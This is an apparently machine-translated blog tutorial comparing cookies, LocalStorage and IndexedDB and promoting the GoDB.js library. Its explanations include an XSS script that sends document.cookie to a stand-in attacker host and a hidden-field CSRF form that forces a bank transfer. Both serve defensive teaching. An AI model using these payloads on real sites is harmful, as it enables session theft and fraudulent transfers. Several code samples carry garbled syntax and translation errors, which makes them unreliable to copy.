The introduction

In 2021, if your front-end application needs to save data in the browser, there are three major solutions:

  • Cookie
  • Web Storage (LocalStorage)
  • IndexedDB

These solutions are the three most widely used and browser-compatible front-end storage solutions today

Today, this article will talk about the history, advantages and disadvantages of these three schemes, as well as their application scenarios in today’s world

A new indexedDB-based front-end local storage solution, godb.js, will be proposed later

Cookie

The history of cookies

Invented as far back as 1994, cookies are as old as the Internet itself

Unlike the other two local storage solutions, cookies were not invented to solve the problem of “storing things on the browser.” They were invented to solve the stateless nature of THE HTTP protocol

What is the stateless nature of the HTTP protocol? To put it simply: two HTTP requests from the user, the server does not know from the request itself that these two requests are from the same user

For example, logins, which are common today, were virtually impossible to maintain for long before cookies were invented

In other words, cookies were invented as a “supplement to THE HTTP protocol”, so HTTP cookies are often used to refer to cookies in English contexts

Cookie was first used by its inventor Lou Montulli in e-commerce websites to record the items in the shopping cart, so that when the user wants to check out, the browser will send the product data and user information in the Cookie to the server, and the server can know which items the user wants to buy

Cookies have been the only solution for storing data in browsers for a long time, and they are still widely used in many fields today

Cookies today

In 2021, cookies are no longer suitable for use as a front-end local storage solution, although they still have irreplaceable value in some areas:

  • Cookie security issues
    • Cookies are sent with each request. If you do not use HTTPS and encrypt them, the saved information can be easily stolen, resulting in security risks
    • For example, on some sites that use cookies to stay logged in, if cookies are stolen, it’s easy for someone to use your cookies to impersonate you
    • Of course you can alleviate this problem by using sessions with cookies, but sessions take up extra server resources
    • The automatic sending of cookies on each request also poses a security risk of CSRF attacks
  • Cookies are only allowed to store up to 4KB of data
  • Cookies are more complex to operate (this can be solved by using class libraries)

Some people say that because the browser will bring cookies with every request, so cookies have another disadvantage is increased bandwidth, but in today’s network environment, this occupation is basically negligible

In short, it is no longer recommended to use cookies to save data in the browser. Most of the scenarios that used cookies can be replaced with LocalStorage today, which is more elegant and more secure

But even though cookies are no longer suitable for storing data in browsers, they are still of unique value today in certain areas

The most common is used in advertisements to mark users and track user behavior across sites, so that when you visit different pages, advertisers can know that it is the same user visiting, so as to achieve follow-up product recommendations and other functions

Assuming that abc.com and XYz.com have embedded Taobao advertisements, you will find that even though abc.com and XYz.com have different owners, the products recommended by Taobao advertisements on the two websites are surprisingly the same, which is because Taobao knows that it is the same person. Visit taobao’s advertisements at abc.com and xyz.com respectively

How does this work? The answer is third-party cookies

Third party cookies

The reason for the name of third-party Cookie is that Cookie implements the same-origin policy. Both A.COM and B.com can only access their own cookies, but cannot access each other’s cookies or any cookies that do not belong to them

If a B.com Cookie is set when visiting a.com (such as embedded B.com pages), then this Cookie is a third-party Cookie relative to A.com

It is worth mentioning that different ports under the same host can access each other’s cookies

One important feature for third-party cookies is that cookies can be set by the server

The server can request the browser to set the Cookie through the request header of the response

Set-Cookie: userId=123;
Copy the code

The browser automatically sets a Cookie when it detects a set-cookie request header in the header returned from the request, without requiring the developer to do additional operations with JS

The advantage brought by this is that when ABC.com and XYz.com want to embed Taobao advertisements on their web pages, they only need to put the components provided by Taobao into HTML, without writing additional JS, and taobao can also target users across sites

<img src="taobao.com/some-ads" />
Copy the code

(This component is a fiction for ease of understanding)

How does it work?

  1. When the user is in theabc.comThe browser will respond totaobao.com/some-adsMake an HTTP request
  2. When taobao server returns advertisement content, can take alongSet-CookieThe HTTP request header tells the browser to set a source astaobao.comCookie, which stores the current user ID and other information
  3. This Cookie is relative toabc.comIn terms of third-party cookies, because it belongs totaobao.com
  4. And when the user accessesxyz.comWhen, as a result ofxyz.comTaobao ads are also embedded in the website, so the user’s browser will also respond totaobao.com/some-adsThe initiating
  5. The interesting thing is that when the request is made, the browser finds that it already exists locallytaobao.comCookie (previously accessedabc.com), so the browser sends the Cookie
  6. Taobao server according to the Cookie sent over, found the current accessxyz.comUser and prior accessabc.comIs the same user and will therefore return the same ads

That’s roughly how advertisers use third-party cookies to target users across sites. It’s certainly more complicated, but the basic principles are the same

In short, the key is to take advantage of two characteristics of cookies

  • Cookies can be set by the server
  • The browser automatically carries cookies with each request

Because of these two characteristics, cookies still have irreplaceable value in some fields, even though they have a lot of disadvantages in today’s view

But also because of these two characteristics, the security of Cookie is relatively low. In short, the design of Cookie is a double-edged sword in today’s view

Cookie configuration

When the server asks the browser to set up cookies, it can put some configuration statements in the header of the request to modify the use characteristics of cookies

SameSite

In a recent Chrome update to version 80, the default setting for Cookie’s cross-site policy (SameSite) was Lax, which allowed only same-site or sub-site access to cookies, while the older version was None, which allowed all cross-site cookies

As a result, when users visit XYz.com, the browser will not send cookies to Taobao.com by default, resulting in the failure of third-party cookies

To resolve this, set SameSite to None in the header that returns the request

Set-Cookie: userId=123; SameSite=None
Copy the code

Secure, HttpOnly

Cookies also have two common attributes: Secure and HttpOnly

Set-Cookie: userId=123; SameSite=None; Secure; HttpOnly
Copy the code

Secure allows only cookies to be used in HTTPS requests

HttpOnly is used to prohibit the use of JS to access cookies

Ducoment. cookie // Access is disabledCopy the code

The biggest benefit is that XSS attacks are avoided

XSS attacks

For example, if you are in a forum, the forum has a bug: it does not filter the HTML tags in the posted content

One day, a malicious user sent a post, the content is as follows:

<script>window.open("atacker.com?cookie=" + document.cookie</script> 
Copy the code

When you access the content of this post, the browser will execute the code in

XSS attacks In many cases, users do not even know they have been attacked. For example, the SRC attribute of can be used to quietly send user information to the attacker

When HttpOnly is set, ducoment.cookie will not obtain cookies, and the attacker’s code will not take effect

Cookies are summarized

In a word, cookies in today’s applicable scenarios are actually more limited, when you need to store data locally, due to security and Storage space problems, generally not recommended to use cookies, in most cases using Web Storage is a better choice

Web Storage

In the HTML5 standard released at the end of 2014, a new local Storage scheme for Web Storage was added, which includes

  • LocalStorage
  • SessionStorage

SessionStorage and LocalStorage use the same method, the only difference is that once the page is closed, SessionStorage will delete data; This section uses LocalStorage as an example

LocalStorage features are:

  • The Value is stored in key-value format
  • Easy to use
  • There are 10 MB in size
  • Keys and values are stored as strings

Using LocalStorage is very simple, such as saving userId locally:

localStorage.setItem('userId'.'123');
console.log(localStorage.getItem('userId')); / / 123
Copy the code

Once saved with setItem, the user can use getItem to retrieve the desired data even after closing the page

As soon as LocalStorage appeared, it completely replaced cookies in many application scenarios. Most scenarios that need to save data in the browser will preferentially use LocalStorage

The main differences between Cookie and it are:

  • More storage space, more convenient to use
  • Cookies can be set by the server, while LocalStorage can only be manually operated at the front end
  • Cookie data will be automatically sent to the server by the browser, and the LocalStorage will be sent to the server only after it is manually taken out and placed in the request. Therefore, CSRF attacks can be avoided

CSRF attacks

Suppose you log in to bank.com in your browser. The bank uses cookies to save your login status

Then you visit a malicious website that contains a form:

<form action="bank.com/transfer" method="post">
    <input type="hidden" name="amount" value="100000.00"/>
    <input type="hidden" name="target" value="attacker"/>
    <input type="submit" value="Dragon sword, click and send!"/>
</form>
Copy the code

(Assuming bank.com/transfer is the interface used to transfer money)

After you have been induced to press the submit button:

  1. Since form submission is cross-domain, you will make a POST request to bank.com/transfer

  2. Since you’ve already logged in to Bank.com, the browser will automatically send your Cookie along with it (even if you’re not currently on the bank.com page).

  3. After receiving your request with Cookie, Bank.com considers that you have logged in normally, resulting in the successful transfer

  4. You end up losing a lot of money

Note that a CSRF attack cannot be prevented even if a Cookie is used in conjunction with an HTTPS request, because an HTTPS request merely encrypts the data being transmitted. A CSRF attack, on the other hand, induces you to access an interface that requires your permissions, and HTTPS does not prevent that access

At the heart of this CSRF attack is the fact that the browser automatically carries cookies with all requests

Therefore, a common scenario for LocalStorage to replace cookies is the maintenance of login state. For example, the method of token and HTTPS request can greatly improve the security of login. Avoid CSRF attacks (but still not completely avoid XSS attacks)

After logging in, the user gets a token from the server and saves it in the LocalStorage. After each request, the user takes out the token from the LocalStorage and puts it into the request data. The server can know that the same user initiated the request. Because of HTTPS, there is no fear that the token will be leaked to a third party, so it is quite secure

To summarize why LocalStorage replaces cookies in most application scenarios:

  • LocalStorage is easier to use, simpler and has more storage space
  • LocalStorage protects cookies from CSRF attacks

The disadvantage of LocalStorage

However, LocalStorage is not perfect, and it has two disadvantages:

  • An expiration time cannot be set like a Cookie
  • You can only store strings, not objects directly

For example, if you want to save an object ora non-string type to LocalStorage:

localStorage.setItem('key', {name: 'value'});
console.log(localStorage.getItem('key')); // '[object, Object]'

localStorage.setItem('key'.1);
console.log(localStorage.getItem('key')); / / '1'
Copy the code

You’ll notice that if you put an object in it, you’ll get the string ‘[object, object]’ out of it. The data is lost!

If I put a number in it, I get a string out of it

To solve this problem, use json.stringify () with json.parse ().

localStorage.setItem('key'.JSON.stringify({name: 'value'}));
console.log(JSON.parse(localStorage.getItem('key'))); // {name: 'value'}
Copy the code

In this way, object and non-string storage can be implemented

However, there is a downside to doing this, which is that json.stringify () is inherently problematic

const a = JSON.stringify({
    a: undefined.b: function(){},
    c: /abc/,
    d: new Date()});console.log(a) / / "{" c" : {}, "d" : "the 2021-02-02 T19: beyond. 346 z"}"
console.log(JSON.parse(a)) // {c: {}, d: "2021-02-02T19:40:12.346z "}
Copy the code

As above, json.stringify () fails to convert some of the JS properties correctly

  • undefiend
  • Function
  • RegExp (regular expression, converted to empty object)
  • Date (converted to a string instead of a Date object)

In fact, there is also a Symbol can not be converted, but because of the Symbol itself definition (global uniqueness) determines that it should not be converted, otherwise even if converted back, will not be the original Symbol

Function is also special, but to be compatible, you can call.toString() to convert it to a string store and eval back when needed

Also, json.stringify () cannot convert objects referenced in a loop

const a = { key: 'value' };
a['a'] = a;
JSON.stringify(a);

// Uncaught TypeError: Converting circular structure to JSON
// --> starting at object with constructor 'Object'
// --- property 'a' closes the circle
// at JSON.stringify (
      
       )
      
Copy the code

This problem with json.stringify () is largely ignored in most applications, but it can still cause problems in a small number of scenarios, such as saving a regular expression or a Date object

conclusion

In most application scenarios, LocalStorage can completely replace cookies. Only in advertising scenarios, cookies can be set by the server, so they still have irreplaceable value

But LocalStorage isn’t perfect — it only supports 10MB, which isn’t enough in some applications, and it only supports strings natively. The json.stringify () solution isn’t perfect enough for storing large and complex data in many cases

IndexedDB

IndexedDB stands for Indexed Database, and as the name suggests, it is a Database

IndexedDB was first proposed back in 2009, but it actually hit browsers around the same time as Web Storage (yes, 2015, and es6).

IndexedDB is a serious database that has replaced the unsophisticated Web SQL solution and is now the only database running in the browser

In my opinion, IndexedDB is actually better suited as the ultimate front-end local data storage solution

IndexedDB has the following advantages over LocalStorage

  • There is theoretically no upper limit to the amount of storage
    • Chrome defines the storage limit for IndexedDB as one third of the available disk space
  • All operations are asynchronous, and the performance is higher than that of the LocalStorage synchronization operation, especially when the data volume is large
  • Natively supports objects that store JS
  • It’s a serious database, which means it can do anything a database can do

But the drawbacks can be deadly:

  • Very cumbersome to operate
  • There is a certain threshold (you need to know the concept of database)

Due to the early proposal, the API design of IndexedDB was actually quite poor, and it was quite a struggle for beginners just to connect to the database and add things to it

IndexedDB’s API was far too complex for simple data storage, and its asynchronous API created an additional mental burden that was far less efficient than the two lines of LocalStorage

As a result, IndexedDB is far less widely used today than LocalStorage, even though IndexedDB itself is better designed for storing data in browsers

All in all, IndexedDB is close to perfect as a front-end local storage solution, if not for the operational difficulties involved

Understanding databases

Before using IndexedDB, you first need to understand basic database concepts

Here, using Excel analogy, a brief introduction to the basic concepts of database, not too in-depth discussion

There are four basic concepts you need to understand, using relational databases as an example

  • Database Database
  • Table IndexedDB ObjectStore
  • Field in the Field,
  • Business Transaction

(Although IndexedDB is not a relational database, the concepts are the same.)

Suppose that Tsinghua university and Peking University each need to build a database to store the information of their students and faculty. Let’s name it as

  • Tsinghua university:thu
  • Peking University:pku

In this way, the data between the Northern Qing dynasty can be independent of each other

Then, we go to the database to build the table

  • studentTable, store student information
  • stuffTable, store staff information

What is a Table? Basically, it’s an Excel spreadsheet

For example, the student table could look like this:

The student NUMBER, name, age and major above are the fields in the data table

When we want to add data to the student table, we need to add data to the table in the specified format (characteristic of relational databases, IndexedDB allows non-formatting).

The database also provides us with a method, when we know a student’s student ID, we can quickly find that student in a very short time, among thousands of students in the table, and return their complete information

You can also locate the student according to the ID and modify or delete the student’s data

A unique value, such as id, can be used as a primary key. A primary key is unique in a table and cannot be used to add data of the same primary key

If the primary key is not indexed, you may need to traverse the entire table (O(N)). If the primary key is not indexed, you may need to traverse the table (O(N)).

Add, delete, modify, and query all require Transaction Transaction

  • If any operation in the transaction fails, the entire transaction is rolled back
  • The operation does not affect the database until the transaction completes
  • Different transactions cannot affect each other

For example, if you initiate a transaction to add two students, if the first student is successfully added but the second fails, the transaction will be rolled back and the first student will never appear in the database at all

Transactions are useful in scenarios such as bank transfers: if any of the steps in the transfer fail, the entire transfer is as if it never happened

We can also have the stuff table in the same Excel file (database) as well as the student table:

Then, tsinghua university and Peking University each share an Excel file, which is equivalent to two databases

All in all, we can use Excel as a database analogy, regardless of all the difficult concepts about databases

  • An Excel file is a Database
  • There are many different tables in an Excel Database.
  • The column names of a table are simply fields

The analogy is closest to a relational database such as MySQL, but may not be appropriate for other, more specialized databases (such as graph databases)

If you’re new to understanding databases using Excel analogies is perfectly fine, enough to use IndexedDB

Although IndexedDB uses key-value mode to store data, you can also think of it as Table mode

The use of with IndexedDB

The first step in using IndexedDB is to open the database:

const request = window.indexedDB.open('pku');
Copy the code

This opens a database named PKU, which the browser creates automatically if it doesn’t exist

Then there are three events on the request:

var db; // Global IndexedDB database instance

request.onupgradeneeded = function (event) {
  db = event.target.result;
  console.log('version change');
};

request.onsuccess = function (event) {
  db = request.result;
  console.log('db connected')l;
};

request.onblocked = function (event) {
  console.log('db request blocked! ')
}

request.onerror = function (event) {
  console.log('error! ');
};
Copy the code

IndexedDB has a concept of version that can be specified when connecting to the database

const version = 1;
const request = window.indexedDB.open('pku', version);
Copy the code

Versioning is mainly used to control the structure of the database, and when the database structure (table structure) changes, versioning also changes

As above, there are four events on request:

  • onupgradeneededTriggered when version changes
    • Note that the first time you connect to the database, the version changes from 0 to 1, so it is also triggered and precedesonsuccess
  • onsuccessTriggered after a successful connection
  • onerrorTriggered when a connection fails, such as when the version opened is lower than the version that currently exists
  • onblockedTriggered when a connection is blocked, such as trying to initiate a higher-version connection while the lower-version connection has not been closed

Note that all four events are asynchronous, meaning that after the request to connect to IndexedDB has been sent, it will take some time before the database can be connected and operated on

All of the developer’s operations on the database have to be placed after the asynchronous connection to the database, which can sometimes be quite inconvenient

Developers wishing to create tables (called ObjectStore in IndexedDB) must only place them in an onupgradeneneeded event (officially defined as an event that requires an IDBVersionChange)

request.onupgradeneeded = function (event) {
    db = event.target.result;
    if(! db.objectStoreNames.contains('student')) {
        db.createObjectStore('student', {
            keyPath: 'id'./ / the primary key
            autoIncrement: true / / since the increase}); }}Copy the code

Create table student (id); create table student (id); create table student (id)

Finally, with all this done, we can connect to the database and add data

const adding = db.transaction('student'.'readwrite') // Create transaction
  .objectStore('student') // Specify the student table
  .add({ name: 'luke'.age: 22 });

adding.onsuccess = function (event) {
  console.log('write success');
};

adding.onerror = function (event) {
  console.log('write failed');
}
Copy the code

Let’s do the same thing and add another piece of data

db.transaction('student'.'readwrite')
  .objectStore('student')
  .add({ name: 'elaine'.age: 23 });
Copy the code

Then, open the browser’s developer tools and see the added data:

Here you can see the key-value storage feature of IndexedDB, where key is the primary key (specified as ID) and value is the remaining field and corresponding data

The key-value structure corresponds to the Table structure as follows:

To retrieve data, a READonly Transaction is required

const request = db.transaction('student'.'readonly')
  .objectStore(this.name)
  .get(2); // Get data with id 2

request.onsuccess = function (event) {
  console.log(event.target.result) // { id: 2, name: 'elaine', age: 23 }
}
Copy the code

Simply adding and querying data to IndexedDB requires a lot of code, which can be cumbersome and easy to fall into

So, is there a way to use IndexedDB more elegantly and more effectively with less code?

GoDB.js

Godb.js is an IndexedDB-based library that implements front-end local storage

Help you make your code simpler while leveraging the power of IndexedDB

First install:

npm install godb
Copy the code

Add, delete, change, and check IndexedDB in one line of code.

import GoDB from 'godb';

const testDB = new GoDB('testDB'); // Connect to the database
const user = testDB.table('user'); // Get the data table

const data = { name: 'luke'.age: 22 }; // Define a random object

user.add(data) / / to add
  .then(luke= > user.get(luke.id)) / / check
  .then(luke= >user.put({ ... luke,age: 23 })) / / change
  .then(luke= > user.delete(luke.id)); / / delete
Copy the code

Or, add a lot of data at once and see what happens:

const arr = [
    { name: 'luke'.age: 22 },
    { name: 'elaine'.age: 23}]; user.addMany(arr) .then(() = > user.consoleTable());
Copy the code

This code displays the contents of the user table in the console after adding data:

To return to the LocalStorage problem, use GoDB to implement normal storage:

import GoDB from 'godb';

const testDB = new GoDB('testDB'); // Connect to the database
const store = testDB.table('store'); // Get the data table

const obj = {
    a: undefined.b: /abc/,
    c: new Date()
};

store.add(obj)
  .then(item= > store.get(item.id)) // Get the saved instance
  .then(res= > console.log(res));

/ / {
// id: 1,
// a: undefined,
// b: /abc/,
// c: new Date()
// }
Copy the code

Also, objects referenced in a loop can be stored using GoDB

const a = { key: 'value' };
a['a'] = a;

store.add(a)
  .then(item= > store.get(item.id)) // Get the saved instance
  .then(result= > console.log(result));

// Print the object with the same id as a
Copy the code

For more detailed usage of GoDB, please refer to GoDB’s official website (under improvement) :

godb-js.github.io

Anyway, GoDB does

  • Help you handle IndexedDB behind the scenes
  • Help you maintain databases, tables, and fields behind the scenes
    • As well as field indexes, various attributes (e.gunique)
  • Help standardize your use of IndexedDB to make your projects more maintainable
  • Finally, several easy-to-use apis are available to allow you to play with IndexedDB in simple code

conclusion

Summarize the characteristics and application scenarios of the three schemes:

  • Cookie
    • Can be specified by the server, and the browser will automatically include it in the request
    • The size is only 4KB
    • Large-scale application for advertisers to target users
    • Working with session is also a feasible login authentication scheme
  • Web Storage
    • It is 10MB in size and extremely simple to use
    • But you can only store strings, you need to escape to store JS objects
    • It can completely replace cookies in most cases and is more secure
    • The token can be used for more secure login authentication
  • IndexedDB
    • Unlimited storage space, extremely powerful
    • Native support JS objects, can better store data
    • In the form of database storage data, data management is more standardized
    • However, the native API is cumbersome and has some barriers to use

I personally am a big believer in IndexedDB, and I think IndexedDB will shine in the next decade in the increasingly complex front-end applications (online documentation, SaaS applications) and Electron environment

  • Such as caching interface data to achieve a better user experience
  • For example, online documents (rich text editors) save editing history
  • Like any application that needs to keep a lot of data on the front end

In short, IndexedDB can be said to be the most suitable solution for storing data in the front end, but because of its cumbersome operation and certain threshold of use, in the current use of more simple localStorage is not so wide

If you want to use IndexedDB, it is recommended to try the GoDB library to make it as easy as possible

Official website (continuous improvement) : godb-js.github. IO

Making: github.com/chenstarx/G…

The GoDB project is being continuously updated and optimized, please pay attention to ~